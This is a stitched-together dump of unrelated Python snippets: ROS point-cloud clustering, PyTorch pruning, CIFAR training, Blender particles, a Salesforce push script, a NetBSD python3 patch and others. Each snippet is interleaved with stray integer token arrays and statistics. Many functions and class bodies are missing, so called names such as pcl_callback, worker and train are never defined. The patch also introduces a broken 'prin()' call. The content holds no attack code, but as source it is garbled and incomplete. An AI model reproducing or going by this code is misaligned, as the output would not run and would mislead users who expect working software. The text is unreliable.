from twitter.common.zookeeper.serverset.endpoint import Endpoint, ServiceInstance
from zake.fake_client import FakeClient
from zake.fake_storage import FakeStorage
if 'MYSOS_DEBUG' in os.environ:
from twitter.common import log
from twitter.common.log.options import LogOptions
LogOptions.set_stderr_log_level('google:DEBUG')
LogOptions.set_simple(True)
log.init('mysos_tests')
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] | 3.352727 | 275 |
#!/usr/bin/env python
import numpy as np
import sklearn
from sklearn.preprocessing import LabelEncoder
import pickle
from sensor_stick.srv import GetNormals
from sensor_stick.features import compute_color_histograms
from sensor_stick.features import compute_normal_histograms
from visualization_msgs.msg import Marker
from sensor_stick.marker_tools import *
from sensor_stick.msg import DetectedObjectsArray
from sensor_stick.msg import DetectedObject
from sensor_stick.pcl_helper import *
# Voxel Grid filter
# PassThrough filter
# RANSAC plane segmentation
# Extract inliers/outliers
# Outlier Removal Filter
# Euclidean Clustering (perform a DBSCAN cluster search)
# Callback function for your Point Cloud Subscriber
if __name__ == '__main__':
# TODO: ROS node initialization
rospy.init_node('clustering', anonymous=True)
# TODO: Create Subscribers
pcl_sub = rospy.Subscriber("/sensor_stick/point_cloud", pc2.PointCloud2, pcl_callback, queue_size=1)
# TODO: Create Publishers
pcl_objects_pub = rospy.Publisher("/pcl_objects", PointCloud2, queue_size=1)
pcl_table_pub = rospy.Publisher("/pcl_table", PointCloud2, queue_size=1)
pcl_cluster_pub = rospy.Publisher("pcl_cluster", PointCloud2, queue_size=1)
# Create Publishers
# TODO: here you need to create two publishers
# Call them object_markers_pub and detected_objects_pub
# Have them publish to "/object_markers" and "/detected_objects" with
# Message Types "Marker" and "DetectedObjectsArray" , respectively
object_markers_pub = rospy.Publisher("/object_markers", Marker, queue_size=1)
detected_objects_pub = rospy.Publisher("/detected_objects", DetectedObjectsArray, queue_size=1)
# TODO: Load Model From disk
model = pickle.load(open('model.sav', 'rb'))
clf = model['classifier']
encoder = LabelEncoder()
encoder.classes_ = model['classes']
scaler = model['scaler']
# Initialize color_list
get_color_list.color_list = []
# TODO: Spin while node is not shutdown
while not rospy.is_shutdown():
rospy.spin()
| [
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220,
220,
220,
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220,
686,
2777,
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198
] | 2.910987 | 719 |
from cloudbutton.multiprocessing import Process, JoinableQueue
if __name__ == '__main__':
q = JoinableQueue()
p = Process(target=worker, args=(q,))
p.start()
for x in range(10):
q.put(x)
# uncomment to hang on the q.join
#q.put(11)
q.join()
q.put(-1) # end loop
p.join()
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] | 2.236111 | 144 |
__all__ = ('BlockStorageFile',)
import os
import struct
import logging
import errno
from multiprocessing.pool import ThreadPool
import pyoram
from pyoram.storage.block_storage import \
(BlockStorageInterface,
BlockStorageTypeFactory)
import tqdm
import six
from six.moves import xrange
log = logging.getLogger("pyoram")
class BlockStorageFile(BlockStorageInterface):
"""
A class implementing the block storage interface
using a local file.
"""
_index_struct_string = "!LLL?"
_index_offset = struct.calcsize(_index_struct_string)
# This method is usually executed in another thread, so
# do not attempt to handle exceptions because it will
# not work.
#
# Define BlockStorageInterface Methods
#
@classmethod
@classmethod
@property
@property
@property
@property
@property
@property
BlockStorageTypeFactory.register_device("file", BlockStorageFile)
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] | 3.080906 | 309 |
from django.contrib.auth.mixins import LoginRequiredMixin
from django.apps import apps
from django.views.generic import DetailView, CreateView
from django.http import HttpResponse, HttpRequest, request
from django.core.signals import request_finished
from django.dispatch import receiver
Company = apps.get_model('Company', 'Company')
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] | 3.634409 | 93 |
import time
from tree_parser import *
from data_utils5 import *
import os
import withpool
text = file_contents()
database = meta_math_database(text,n=None, remember_proof_steps=True)
print()
lm = LanguageModel(database)
saved_interface = None
# import
import build_payout_data_set as pd
pd.initialize_interface(lm, 'searcher')
valp = lm.validation_propositions
testp = lm.test_propositions
trainp = lm.training_propositions
chunk_size = len(trainp)//8
chunks = [
valp,
testp,
trainp[:chunk_size],
trainp[chunk_size:2*chunk_size],
trainp[2*chunk_size:3*chunk_size],
trainp[3*chunk_size:4*chunk_size],
trainp[4*chunk_size:5*chunk_size],
trainp[5*chunk_size:6*chunk_size],
trainp[6*chunk_size:7*chunk_size],
trainp[7*chunk_size:]
]
for i, chunk in enumerate(chunks):
filename = 'payout_data_'+str(i)
if os.path.exists(filename):
continue
# okay. we're doing this one.
# claim it.
with open(filename, 'wb') as handle:
pickle.dump(None, handle)
# do the stuff.
print('generating chunk: '+filename)
with withpool.Pool(None) as pool:
allpds = pool.map(process_chunk, [(i,j) for j in range(len(chunk))], chunksize=1)
print('saving '+filename)
with open(filename, 'wb') as handle:
pickle.dump(allpds, handle)
#
# def validation_data(n):
# print 'starting item',n
# return pd.PropositionsData(valp[n])
''' let's do this in chunks
import withpool
with withpool.Pool(8) as pool:
start = time.time()
allpds = {}
allpds['validation'] = pool.map(validation_data, range(len(valp)), chunksize=1)
print (time.time()-start), (time.time()-start)/len(valp)
allpds['test'] = pool.map(test_data, range(len(testp)), chunksize=1)
print (time.time()-start), (time.time()-start)/(len(valp)+len(testp))
allpds['training'] = pool.map(training_data, range(len(trainp)), chunksize=1)
print (time.time()-start), (time.time()-start)/(len(valp)+len(testp)+len(trainp))
print 'saving database'
import pickle
with open('payout_data','wb') as handle:
pickle.dump(allpds, handle)
'''
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] | 2.411561 | 865 |
#
# This source file is part of the EdgeDB open source project.
#
# Copyright 2016-present MagicStack Inc. and the EdgeDB authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import edgedb
from edgedb import _testbase as tb
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] | 3.734694 | 196 |
"""This file contains the implementation for basic pruning operations on arbitrary torch modules."""
import torch
import torch.nn as nn
import copy
from condense.optimizer.sparsity_functions import Constant
def calc_parameter_sparsity(p):
"""Calculates the sparsity percentage of a torch parameter.
Args:
p: torch parameter
Returns: sparsity percentage (as float) with range [0.0, 1.0]
"""
x = torch.sum((torch.flatten(p) == 0).float())
return float(x) / p.numel()
def masking_fn(X, t_sparsity):
"""Default masking function used by the PruningAgent."""
threshold = torch.sort(torch.abs(X).flatten())[0][int(len(X.flatten()) * t_sparsity.get_epoch_sparsity())]
return (torch.abs(X) > threshold).float()
class PruningAgent(nn.Module):
"""This class augments an existing torch module with callbacks and parameter masks."""
def __init__(self, model, strategy=None, apply_mask=False, ignored_params=[]):
"""You need to pass a module and a constant sparsity strategy.
Args:
model (torch.nn.Module): existing torch module
strategy: the sparisty target strategy
apply_mask (boolean): if this is true a mask will get generated and applied on initialization
ignored_params (list): no pruning gets applied onto the element in the list
"""
super(PruningAgent, self).__init__()
self.model = model
# create a list of parameters to prune
_ignored_params = []
for param in ignored_params:
if isinstance(param, nn.Module):
_ignored_params.extend(list(param.parameters()))
elif isinstance(param, nn.parameter.Parameter):
_ignored_params.append(param)
else:
raise Exception('only parameters and modules are supported in argument ignored_params')
self.to_prune = self.__get_parameters_to_prune(_ignored_params)
# Parameter masks
self.mask = {}
self.masking_fn = masking_fn
if strategy:
if not isinstance(strategy, Constant):
raise Exception('Currently only the constant sparsity strategy is supported.')
self.layer_strategies = self.__init_per_layer_sparsity_strategies(strategy)
self.init_parameter_masks(not apply_mask)
self.__wrap_sub_modules()
def init_parameter_masks(self, initialize_ones=True):
"""Initialize parameter masks.
Args:
initialize_ones (boolean): initialize mask values as 1 (no masking)
"""
for p in self.to_prune:
if initialize_ones:
self.mask[p] = torch.ones(p.size())
else:
self.mask[p] = self.masking_fn(p, self.layer_strategies[p])
p.data = p.data * self.mask[p] # apply mask to corresponding parameter
def __wrap_sub_modules(self):
"""Applies pruning functionality to every parameter of the actual model."""
for param in self.to_prune:
param.register_hook(lambda g, p=param: g * self.mask[p])
# param.register_hook(lambda g, p=param: self._update_parameter_mask(p))
# param.register_hook(lambda g, p=param: self.layer_strategies[p].next_epoch())
def _update_parameter_mask(self, p):
"""Update masks for a parameter p."""
self.mask[p] = self.masking_fn(p, self.layer_strategies[p])
def get_parameter_sparsity(self):
"""Get a list of the sparsity percentages of every model parameter."""
return [calc_parameter_sparsity(p) for p in self.model.parameters()]
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329,
279,
287,
2116,
13,
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13,
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7307,
3419,
60,
198
] | 2.486653 | 1,461 |
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Train polyphonic RNN."""
import functools
import os
# internal imports
import numpy as np
import tensorflow as tf
from magenta.models.polyphonic_rnn import polyphonic_rnn_graph
from magenta.models.polyphonic_rnn import polyphonic_rnn_lib
FLAGS = tf.app.flags.FLAGS
tf.app.flags.DEFINE_string(
'note_sequence_input', None, 'Polyphonic tfrecord NoteSequence file.')
tf.app.flags.DEFINE_string(
'checkpoint_dir', '/tmp/polyphonic_rnn/checkpoints',
'Path to the directory where checkpoints and summary events will be saved '
'during training')
tf.app.flags.DEFINE_string(
'log', 'INFO',
'The threshold for what messages will be logged DEBUG, INFO, WARN, ERROR, '
'or FATAL.')
if __name__ == '__main__':
console_entry_point()
| [
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8624,
62,
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] | 3.220379 | 422 |
$NetBSD: patch-chavier_gui.py,v 1.1 2020/03/11 20:17:12 wiz Exp $
Convert to python3 syntax.
--- chavier/gui.py.orig 2011-08-08 19:23:18.000000000 +0000
+++ chavier/gui.py
- print 'CHART STATE'
- print '-' * 70
- print 'surface: %d x %d' % (alloc.width, alloc.height)
- print 'area :', self.chart.area
- print
- print 'minxval:', self.chart.minxval
- print 'maxxval:', self.chart.maxxval
- print 'xrange :', self.chart.xrange
- print
- print 'minyval:', self.chart.minyval
- print 'maxyval:', self.chart.maxyval
- print 'yrange :', self.chart.yrange
+ print('CHART STATE')
+ print('-' * 70)
+ print('surface: %d x %d' % (alloc.width, alloc.height))
+ print('area :', self.chart.area)
+ prin()
+ print('minxval:', self.chart.minxval)
+ print('maxxval:', self.chart.maxxval)
+ print('xrange :', self.chart.xrange)
+ print()
+ print('minyval:', self.chart.minyval)
+ print('maxyval:', self.chart.maxyval)
+ print('yrange :', self.chart.yrange)
| [
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858,
1058,
3256,
2116,
13,
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13,
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858,
8,
198
] | 2.016245 | 554 |
from rest_framework import serializers
from longclaw.longclaworders.models import Order, OrderItem
from longclaw.longclawproducts.serializers import ProductVariantSerializer
from longclaw.longclawshipping.serializers import AddressSerializer
| [
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import os
import sys
import csv
import time
from push_api import SalesforcePushApi
# Force UTF8 output
reload(sys)
sys.setdefaultencoding('UTF8')
if __name__ == '__main__':
try:
username = os.environ.get('SF_USERNAME')
password = os.environ.get('SF_PASSWORD')
serverurl = os.environ.get('SF_SERVERURL')
version = os.environ.get('VERSION')
subscribers = os.environ.get('SUBSCRIBERS', None)
subscribers_file = os.environ.get('SUBSCRIBERS_FILE', None)
if not subscribers and not subscribers_file:
raise ValueError('You must provide either the SUBSCRIBERS or SUBSCRIBERS_FILE environment variables')
if subscribers:
orgs = subscribers.split(',')
else:
f_orgs = open(subscribers_file, 'r')
orgs = []
for org in f_orgs:
orgs.append(org.strip())
push_api = SalesforcePushApi(username, password, serverurl)
version = push_api.get_package_version_objs("Id = '%s'" % version, limit=1)[0]
print 'Scheduling push upgrade for %s.%s to %s orgs' % (version.major, version.minor, len(orgs))
request_id = push_api.create_push_request(version, orgs)
print 'Push Request %s is populated, setting status to Pending to start execution' % request_id
if len(orgs) > 1000:
print "Delaying 30 seconds to allow all jobs to initialize..."
time.sleep(30)
print push_api.run_push_request(request_id)
print 'Push Request %s is queued for execution' % request_id
except SystemExit:
sys.exit(1)
except:
import traceback
exc_type, exc_value, exc_traceback = sys.exc_info()
print '-'*60
traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stdout)
print '-'*60
sys.exit(2)
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198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7,
17,
8,
198
] | 2.289186 | 823 |
from ..messages import (MSG_NO_NAME_GROUP, MSG_NOW_UNSUBCRIBE,
MSG_NO_USER_GROUP, msg_not_found_group_name,
msg_already_subscribed, msg_now_subscribed)
from pskgu_bot.db.services import (find_group_by_name, find_vk_user_by_id,
update_user)
from typing import Optional
async def subcribe(user_id: Optional[str] = None,
group_name: Optional[str] = None,
type_sys: str = "vk") -> str:
"""
Подписывает пользователя на группу.
"""
if group_name is None or user_id is None:
return MSG_NO_NAME_GROUP
group = await find_group_by_name(group_name)
if not group:
return msg_not_found_group_name(group_name)
if type_sys == "vk":
user = await find_vk_user_by_id(user_id)
if user:
if user.group == group_name:
return msg_already_subscribed(group_name)
await update_user(user_id, group_name)
return msg_now_subscribed(group_name)
async def unsubcribe(user_id: Optional[str] = None,
type_sys: str = "vk") -> str:
"""
Отписывает пользователя от группы.
"""
if user_id is None:
return MSG_NO_USER_GROUP
if type_sys == "vk":
user = await find_vk_user_by_id(user_id)
if not user:
return MSG_NO_USER_GROUP
else:
if user.group == "":
return MSG_NO_USER_GROUP
else:
await update_user(user_id, "")
return MSG_NOW_UNSUBCRIBE
| [
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220,
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220,
220,
2073,
25,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
2836,
13,
8094,
6624,
366,
1298,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
49064,
62,
15285,
62,
29904,
62,
46846,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25507,
4296,
62,
7220,
7,
7220,
62,
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11,
366,
4943,
198,
220,
220,
220,
1441,
49064,
62,
45669,
62,
4944,
12564,
2749,
7112,
12473,
198
] | 1.838372 | 860 |
# from network.models.exceptions import *
# from network.network import Network
# from network.models.tools import random_choice
# from itertools import combinations
# import numpy as np
| [
2,
422,
3127,
13,
27530,
13,
1069,
11755,
1330,
1635,
198,
2,
422,
3127,
13,
27349,
1330,
7311,
198,
2,
422,
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13,
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422,
340,
861,
10141,
1330,
17790,
198,
2,
1330,
299,
32152,
355,
45941,
198
] | 4.065217 | 46 |
import r_pyclass
r_pyclass.order()
| [
11748,
374,
62,
9078,
4871,
198,
81,
62,
9078,
4871,
13,
2875,
3419,
198
] | 2.5 | 14 |
#Developed by Zachary Williams
from tkinter import *
from functools import partial
from PIL import Image
import sys
from sys import platform
root = Tk()
z = mainclass(root)
root.mainloop()
sys.exit()
| [
2,
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276,
416,
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3419,
201,
198,
17597,
13,
37023,
3419,
201,
198
] | 2.674699 | 83 |
while True:
try: e = input()
except: break
print(e.replace(' .', '.').replace(' ,', ','))
| [
4514,
6407,
25,
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220,
220,
1949,
25,
304,
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3256,
705,
2637,
737,
33491,
10786,
837,
3256,
705,
4032,
4008,
198
] | 2.475 | 40 |
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torch.backends.cudnn as cudnn
import torchvision
import torchvision.transforms as transforms
import os
import argparse
from ResNet_CIFAR10 import *
from VGG_model import *
#####################################################################
################### Some Loss functions things ######################
#####################################################################
parser = argparse.ArgumentParser(description='Pre-training CIFAR10 Models')
parser.add_argument('--lr', default=0.1, type=float, help='learning rate')
parser.add_argument('--model', default='resnet', type=str, help='resnet or vgg')
parser.add_argument('--loss_func', default='regular', type=str, help='loss function: regular,hessian, hessianv2, std_loss')
parser.add_argument('--dataset', default = 'cifar10', type=str, help ='cifar10, cifar100')
parser.add_argument('--batch_size', default=128, type=int, help='batch size')
parser.add_argument('--epochs', default=10, type=int, help='epochs')
parser.add_argument('--std_reg', default = 0.1, type = float, help= 'regularization for std loss')
args = parser.parse_args()
device = 'cuda' if torch.cuda.is_available() else 'cpu'
std_reg = args.std_reg
print(f'Model = {args.model} dataset = {args.dataset} loss = {args.loss_func} std lambda = {args.std_reg}')
print('==> Preparing data..')
if args.dataset == 'cifar10':
transform_train = transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
transform_test = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train)
trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=2)
testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)
testloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2)
num_classes = 10
if args.dataset == 'cifar100':
transform_train = transforms.Compose([
#transforms.ToPILImage(),
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.RandomRotation(15),
transforms.ToTensor(),
transforms.Normalize( (0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))
])
#cifar100_training = CIFAR100Train(path, transform=transform_train)
cifar100_training = torchvision.datasets.CIFAR100(root='./data', train=True, download=True, transform=transform_train)
trainloader = torch.utils.data.DataLoader(cifar100_training, shuffle=True, num_workers=2, batch_size=args.batch_size)
transform_test = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))])
cifar100_test = torchvision.datasets.CIFAR100(root='./data', train=False, download=True, transform=transform_test)
testloader= torch.utils.data.DataLoader(cifar100_test, shuffle=True, num_workers=2, batch_size=args.batch_size)
num_classes = 100
print('==> Building model..')
if args.model == 'resnet':
net = ResNet18(num_classes)
if args.model == 'vgg':
net = VGG('VGG19',num_classes)
net = net.to(device)
if device == 'cuda':
net = torch.nn.DataParallel(net)
cudnn.benchmark = True
criterion = nn.CrossEntropyLoss()
optimizer = optim.SGD(net.parameters(), lr=args.lr, weight_decay=5e-4)
scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200)
for epoch in range(0, args.epochs):
train(epoch)
scheduler.step()
test(epoch)
acc =test(0)
print('Saving..')
state = {
'net': net.state_dict(),
'acc': acc,
'epoch': args.epochs,
'batch size': args.batch_size,
}
if not os.path.isdir('Final_pretrained_models'):
os.mkdir('Final_pretrained_models')
torch.save(state, f'./Final_pretrained_models/{args.model}_{args.dataset}_{args.loss_func}_{args.batch_size}_{args.epochs}.pth')
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] | 2.629889 | 1,713 |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
from logging import Logger # noqa
from typing import Callable, List, Optional # noqa
from pgsqltoolsservice.hosting import JSONRPCServer, NotificationContext, ServiceProvider # noqa
from pgsqltoolsservice.workspace.contracts import (
DID_CHANGE_CONFIG_NOTIFICATION, DidChangeConfigurationParams,
DID_CHANGE_TEXT_DOCUMENT_NOTIFICATION, DidChangeTextDocumentParams,
DID_OPEN_TEXT_DOCUMENT_NOTIFICATION, DidOpenTextDocumentParams,
DID_CLOSE_TEXT_DOCUMENT_NOTIFICATION, DidCloseTextDocumentParams,
Configuration, Range
)
from pgsqltoolsservice.workspace.script_file import ScriptFile
from pgsqltoolsservice.workspace.workspace import Workspace
class WorkspaceService:
"""
Class for handling requests/events that deal with the sate of the workspace including opening
and closing of files, the changing of configuration, etc.
"""
# PROPERTIES ###########################################################
@property
@property
def workspace(self) -> Workspace:
"""Gets the current workspace"""
return self._workspace
# METHODS ##############################################################
def get_text(self, file_uri: str, selection_range: Optional[Range]) -> str:
"""
Get the requested text selection, as a string, for a document
:param file_uri: The URI of the requested file
:param selection_data: An object containing information about which part of the file to return,
or None for the whole file
:raises ValueError: If there is no file matching the given URI
"""
open_file = self._workspace.get_file(file_uri)
if open_file is None:
raise ValueError('No file corresponding to the given URI')
if selection_range is None:
return open_file.get_all_text()
else:
return open_file.get_text_in_range(selection_range)
# REQUEST HANDLERS #####################################################
def _handle_did_change_config(
self,
notification_context: NotificationContext,
params: DidChangeConfigurationParams
) -> None:
"""
Handles the configuration change event by storing the new configuration and calling all
registered config change callbacks
:param notification_context: Context of the notification
:param params: Parameters from the notification
"""
self._configuration = params.settings
for callback in self._config_change_callbacks:
callback(self._configuration)
def _handle_did_change_text_doc(
self,
notification_context: NotificationContext,
params: DidChangeTextDocumentParams
) -> None:
"""
Handles text document change notifications
:param notification_context: Context of the notification
:param params: Parameters of the notification
"""
try:
# Skip processing if the file isn't opened
script_file: ScriptFile = self._workspace.get_file(params.text_document.uri)
if script_file is None:
return
# Apply the changes to the document
for text_change in params.content_changes:
script_file.apply_change(text_change)
# Propagate the changes to the registered callbacks
for callback in self._text_change_callbacks:
callback(script_file)
except Exception as e:
if self._logger is not None:
self._logger.exception(f'Exception caught during text doc change: {e}')
def _handle_did_open_text_doc(
self,
notification_context: NotificationContext,
params: DidOpenTextDocumentParams
) -> None:
"""
Handles when a file is opened in the workspace. The event is propagated to the registered
file open callbacks
:param notification_context: Context of the notification
:param params: Parameters from the notification
"""
try:
# Open a new ScriptFile with the initial buffer provided
opened_file: ScriptFile = self._workspace.open_file(params.text_document.uri, params.text_document.text)
if opened_file is None:
return
# Propagate the notification to the registered callbacks
for callback in self._text_open_callbacks:
callback(opened_file)
except Exception as e:
if self._logger is not None:
self._logger.exception(f'Exception caught during text doc open: {e}')
def _handle_did_close_text_doc(
self,
notification_context: NotificationContext,
params: DidCloseTextDocumentParams
) -> None:
"""
Handles when a file is closed in the workspace. The event is propagated to the registered
file close callbacks
:param notification_context: Context of the notification
:param params: Parameters from the notification
"""
try:
# Attempt to close the requested file
closed_file: ScriptFile = self._workspace.close_file(params.text_document.uri)
if closed_file is None:
return
# Propagate the notification to the registered callbacks
for callback in self._text_close_callbacks:
callback(closed_file)
except Exception as e:
if self._logger is not None:
self._logger.exception(f'Exception caught during text doc close: {e}')
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] | 2.716998 | 2,212 |
"""
Data manipulation routines.
"""
from collections import namedtuple
import logging
import scipy.sparse as sps
import numpy as np
import pandas as pd
from csr import CSR
_log = logging.getLogger(__name__)
RatingMatrix = namedtuple('RatingMatrix', ['matrix', 'users', 'items'])
RatingMatrix.__doc__ = """
A rating matrix with associated indices.
Attributes:
matrix(CSR or scipy.sparse.csr_matrix):
The rating matrix, with users on rows and items on columns.
users(pandas.Index): mapping from user IDs to row numbers.
items(pandas.Index): mapping from item IDs to column numbers.
"""
def sparse_ratings(ratings, scipy=False, *, users=None, items=None):
"""
Convert a rating table to a sparse matrix of ratings.
Args:
ratings(pandas.DataFrame): a data table of (user, item, rating) triples.
scipy(bool):
if ``True`` or ``'csr'``, return a SciPy csr matrix instead of
:py:class:`CSR`. if ``'coo'``, return a SciPy coo matrix.
users(pandas.Index): an index of user IDs.
items(pandas.Index): an index of items IDs.
Returns:
RatingMatrix:
a named tuple containing the sparse matrix, user index, and item index.
"""
if users is None:
users = pd.Index(np.unique(ratings.user), name='user')
if items is None:
items = pd.Index(np.unique(ratings.item), name='item')
_log.debug('creating matrix with %d ratings for %d items by %d users',
len(ratings), len(items), len(users))
row_ind = users.get_indexer(ratings.user).astype(np.intc)
if np.any(row_ind < 0):
raise ValueError('provided user index does not cover all users')
col_ind = items.get_indexer(ratings.item).astype(np.intc)
if np.any(col_ind < 0):
raise ValueError('provided item index does not cover all users')
if 'rating' in ratings.columns:
vals = np.require(ratings.rating.values, np.float64)
else:
vals = None
if scipy == 'coo':
matrix = sps.coo_matrix(
(vals, (row_ind, col_ind)), shape=(len(users), len(items))
)
else:
matrix = CSR.from_coo(row_ind, col_ind, vals, (len(users), len(items)))
if scipy:
matrix = matrix.to_scipy()
return RatingMatrix(matrix, users, items)
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] | 2.467588 | 941 |
# This file is part of the clacks framework.
#
# http://clacks-project.org
#
# Copyright:
# (C) 2010-2012 GONICUS GmbH, Germany, http://www.gonicus.de
#
# License:
# GPL-2: http://www.gnu.org/licenses/gpl-2.0.html
#
# See the LICENSE file in the project's top-level directory for details.
from clacks.agent.objects.filter import ElementFilter
from clacks.agent.objects.backend.registry import ObjectBackendRegistry
from clacks.common.error import ClacksErrorHandler as C
from clacks.common.utils import N_
# Register the errors handled by us
C.register_codes(dict(
PARAMETER_NOT_NUMERIC=N_("Parameter for '%(target)s' have to be numeric"),
BACKEND_TOO_MANY=N_("Too many backends for %(target)s specified"),
POSIX_ID_POOL_EMPTY=N_("ID pool for attribute %(target)s is empty [> %(max)s]")
))
class GenerateIDs(ElementFilter):
"""
Generate gid/uidNumbers on demand
"""
class LoadGecosState(ElementFilter):
"""
Detects the state of the autoGECOS attribute
"""
class GenerateGecos(ElementFilter):
"""
An object filter which automatically generates the posix-gecos
entry.
"""
def process(self, obj, key, valDict):
"""
The out-filter that generates the new gecos value
"""
# Only generate gecos if the the autoGECOS field is True.
if len(valDict["autoGECOS"]['value']) and (valDict["autoGECOS"]['value'][0]):
gecos = GenerateGecos.generateGECOS(valDict)
valDict["gecos"]['value'] = [gecos]
return key, valDict
@staticmethod
def generateGECOS(valDict):
"""
This method genereates a new gecos value out of the given properties list.
"""
sn = ""
givenName = ""
ou = ""
telephoneNumber = ""
homePhone = ""
if len(valDict["sn"]['value']) and (valDict["sn"]['value'][0]):
sn = valDict["sn"]['value'][0]
if len(valDict["givenName"]['value']) and (valDict["givenName"]['value'][0]):
givenName = valDict["givenName"]['value'][0]
if len(valDict["homePhone"]['value']) and (valDict["homePhone"]['value'][0]):
homePhone = valDict["homePhone"]['value'][0]
if len(valDict["telephoneNumber"]['value']) and (valDict["telephoneNumber"]['value'][0]):
telephoneNumber = valDict["telephoneNumber"]['value'][0]
if len(valDict["ou"]['value']) and (valDict["ou"]['value'][0]):
ou = valDict["ou"]['value'][0]
return "%s %s,%s,%s,%s" % (sn, givenName, ou, telephoneNumber, homePhone)
class GetNextID(ElementFilter):
"""
An object filter which inserts the next free ID for the property
given as parameter. But only if the current value is empty.
=============== =======================
Name Description
=============== =======================
attributeName The target attribute we want to generate an ID for. uidNumber/gidNumber
maxValue The maximum value that would be dsitributed.
=============== =======================
"""
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] | 2.462091 | 1,253 |
import bpy
import numpy as np
import glob
# Global consts
WIDTH = 160
HEIGHT = 120
PROJECT_PATH = "/PATH/TO/bad_apple_blender_cube"
FRAME_COUNT = len(glob.glob(f'{PROJECT_PATH}/frames/*.jpg'))
# Prepare particle system
cube = bpy.data.objects["Cube"]
degp = bpy.context.evaluated_depsgraph_get()
particle_systems = cube.evaluated_get(degp).particle_systems
particle_systems[0].settings.count = WIDTH * HEIGHT
particle_systems[0].settings.lifetime = 99999
particle_systems[0].settings.frame_start = -1
particle_systems[0].settings.frame_end = 1
particle_systems[0].settings.emit_from = 'VOLUME'
particle_systems[0].settings.physics_type = 'NO'
particle_systems[0].settings.render_type = 'OBJECT'
particle_systems[0].settings.instance_object = cube
particle_systems[0].settings.particle_size = 1.0
# reset particle locations
particles = particle_systems[0].particles
total_particles = len(particles)
flat_list = [0]*(3*total_particles)
particles.foreach_set("location", flat_list)
# load all locations into memory
locations_arr = np.zeros(shape=(FRAME_COUNT, WIDTH*HEIGHT*3))
for i in range(FRAME_COUNT):
temp_arr = np.load(
f"{PROJECT_PATH}/locations/{i}.npy")
locations_arr[i] = temp_arr
def particles_location_setter(scene, degp):
"""
Set particle locations to a flat numpy array
"""
particle_systems = cube.evaluated_get(degp).particle_systems
particles = particle_systems[0].particles
current_frame = scene.frame_current
particles.foreach_set("location", locations_arr[current_frame])
# clear the post frame handler
bpy.app.handlers.frame_change_post.clear()
# run the function on each frame
bpy.app.handlers.frame_change_post.append(particles_location_setter)
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65,
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7,
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8,
198
] | 2.710692 | 636 |
#!/usr/bin/env python
"""
MIT License
Original work Copyright (c) 2020 Ian Webster
Modified work Copyright (c) 2020-2021 Linus Bartsch
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from discord_interactions import InteractionType, InteractionCallbackType, verify_key
from flask import request, jsonify
from functools import wraps
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] | 3.859238 | 341 |
"""
The datetime module supplies classes for manipulating dates and times, and contains many types, objects, and methods.
You've seen some of them used in the dow function, which returns the day of the week for a specific date. We'll use them
again in the next_date function, which takes the date_string parameter in the format of "year-month-day", and uses the add_year function
to calculate the next year that this date will occur (it's 4 years later for the 29th of February during Leap Year, and 1 year later for all other dates).
Then it returns the value in the same format as it receives the date: "year-month-day".
Can you find the error in the code? Is it in the next_date function or the add_year function?
How can you determine if the add_year function returns what it's supposed to? Add debug lines as necessary
